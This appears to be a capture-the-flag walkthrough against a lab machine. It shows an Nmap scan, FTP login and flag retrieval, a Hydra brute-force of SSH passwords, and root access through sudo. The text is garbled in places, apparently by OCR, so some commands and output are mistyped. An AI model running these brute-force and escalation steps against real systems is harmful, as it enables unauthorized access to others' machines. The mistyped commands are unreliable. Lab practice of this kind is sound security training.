

Welcome to the Nmap Scanning project – a practical guide and demo on using Nmap for network reconnaissance in cybersecurity.

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The Actions East New Help

(Nati) Roti)-[-]

** nmap -SC -SV 192.168.1.17 -ON mmap-rstt

Starting Nmap 7.945VN (https://nmap.org ) at 2025-07-04 05:55 EDT

Nmap scan report for 192.168.1.17

Host is up (0.00188 latency).

Not shown: 996 filtered tco ports (no-response)

PORT STATE SERVICE VERSION

20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu Zubuntu2.13 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:
| 1024 2e:11:1c:8d:00:66:48:8e:57:0f:96:b5:35:ee:f2:a5 (DSA)
| 2048 9b:dc:ef:25:dc:63:dx:0e:ef5:4f:d3:d2:a0:16:b5:56 (RSA)
| 2048 9b:dc:ef:25:dc:63:dx:0e:ef5:4f:d3:d2:a0:16:b5:56 (RSA)
| 256 44:46:e9:fd:b8:74:23:8d:a9:24:27:34:2d:36:62:f3 (ED25519)

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-serv-header: Apache/2.4.7 (Ubuntu)
| http-title: elProfase7's l3g4cy

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Mmap done: 1 IP address (1 host up) scanned in 34.32 seconds

| kali@kali)-[-]
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This demonstrates how to perform FTP login testing for ethical hacking, CTFs, and vulnerability assessments.

The project focuses on identifying open FTP ports and attempting login (either anonymous or brute-force) to gain access and enumerate sensitive files or directories.

```
Actions Edit View Help
-(kali%kali)-[~]
$ ftp 192.168.1.45
Connected to 192.168.1.45.
220 Welcome to e1Pr0f3ss0r's FTP service.
Name (192.168.1.45:kali): ninja7
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||29460|).
150 Here comes the directory listing.
                                                      200 Aug 20 2022 flag3.txt
1097 Aug 20 2022 let-me-help.txt
29 Aug 20 2022 users.txt
-rw-r--r--
-rw-r--r--
-rw-r -- r --
                                   0
226 Directory send OK.
ftp> get
(remote-file)
usage: get remote-file [local-file]
ftp> get flag3.txt
local: flag3.txt remote: flag3.txt
229 Entering Extended Passive Mode (|||40695|).
150 Opening BINARY mode data connection for flag3.txt (200 bytes).
```

This repository demonstrates how to use Hydra, a powerful tool for performing brute-force attacks on login forms and network services, with a focus on the -l (single username) option

The -l option in Hydra specifies a single username to be used during the brute-force attack. It is useful when:pository demonstrates how to use Hydra, a powerful tool for performing brute-force attacks on login forms and network services, with a focus on the -l (single username) option

The -l option in Hydra specifies a single username to be used during the brute-force attack. It is useful when:

```
The Actions Edit Web Help

'bruse.use Documents flag3.txt nmap-rslt pluck robohash users.txt

Desktop Downloads Music Pictures Public Templates Videos

[kali@kali]-[~]

$ ls

bruse.use Documents flag3.txt nmap-rslt Pictures Public Templates Videos

[kali@kali]-[~]

$ hydra -L users.txt -P pass.txt ssh://192.168.1.45 -t4

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organi zations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-03 08:42:23

[DATA] max 4 tasks per 1 server, overall 4 tasks, 87 login tries (l:3/p:29), ~22 tries per task

[DATA] attacking ssh://192.168.1.45:22/

[STATUS] 28.00 tries/min, 28 tries in 00:01h, 59 to do in 00:03h, 4 active

[22][ssh] host: 192.168.1.45 login: ninja7 password: caroline

[STATUS] 39.50 tries/min, 79 tries in 00:02h, 8 to do in 00:01h, 4 active

[22][ssh] host: 192.168.1.45 login: elprofessor password: dative

[22][ssh] host: 192.168.1.45 login: elprofessor passwords found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-03 08:44:24

[kali@kali]-[~]

$ ssh elprofessor@192.168.1.45
```

SSH (Secure Shell) is commonly used for remote server login. If weak credentials are used, attackers can brute-force the username and password to gain access.

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-03 08:44:24
 ssh elprofessor@192.168.1.45
The authenticity of host '192.168.1.45 (192.168.1.45)' can't be established. ED25519 key fingerprint is SHA256:uIKXd/JLz2WmKcHMtmwvGUs/eFx1QBtR+lkEURmg5wM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.45' (ED25519) to the list of known hosts.
elprofessor@192.168.1.45's password:
Machine IP is :
192.168.1.45
Last login: Sat Aug 20 05:38:40 2022 from 192.168.1.16
elprofessor@ubuntu:~$ ls
flag-1.txt
elprofessor@ubuntu:~$ cat flag-1.txt
cat: flag-1.txt: Permission denied
elprofessor@ubuntu:~$ ls -all
total 36
drwxr-xr-x 4 elprofessor elprofessor 4096 Aug 20 2022
drwxr-xr-x 5 root
                                             4096 Aug 17 2022
                              root
-rw———— 1 elprofessor elprofessor 203 Aug 20 2022 .bash_history
-rw-r--r-- 1 elprofessor elprofessor 220 Aug 16 2022 .bash_logout
-rw-r--r-- 1 elprofessor elprofessor 3637 Aug 16 2022 .bashrc

    2 elprofessor elprofessor 4096 Aug 16 2022 .cache

drwx-
```

```
The Actions Edit View Help

drwx — 2 elprofessor elprofessor 4096 Aug 16 2022 .cache

-rw-rw — 1 root root 36 Aug 20 2022 flag-1.txt

-rw-rr — 1 elprofessor elprofessor 4096 Aug 20 2022 .profile

drwx — 2 elprofessor elprofessor 4096 Aug 20 2022 .ssh

elprofessor@ubuntu:-$ ls

flag-1.txt

elprofessor@ubuntu:-$ sudo -l

[sudo] password for elprofessor:

Matching Defaults entries for elprofessor on ubuntu:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin

User elprofessor may run the following commands on ubuntu:

(ALL : ALL) ALL

(ALL : ALL) ALL

(ALL : ALL) ALL

elprofessor@ubuntu:-$ sudo -i

root@ubuntu:-# cat final_flag.txt

7fa@aaaafeb29c95e94@4ecc5df4ed8b -

root@ubuntu:-# .
```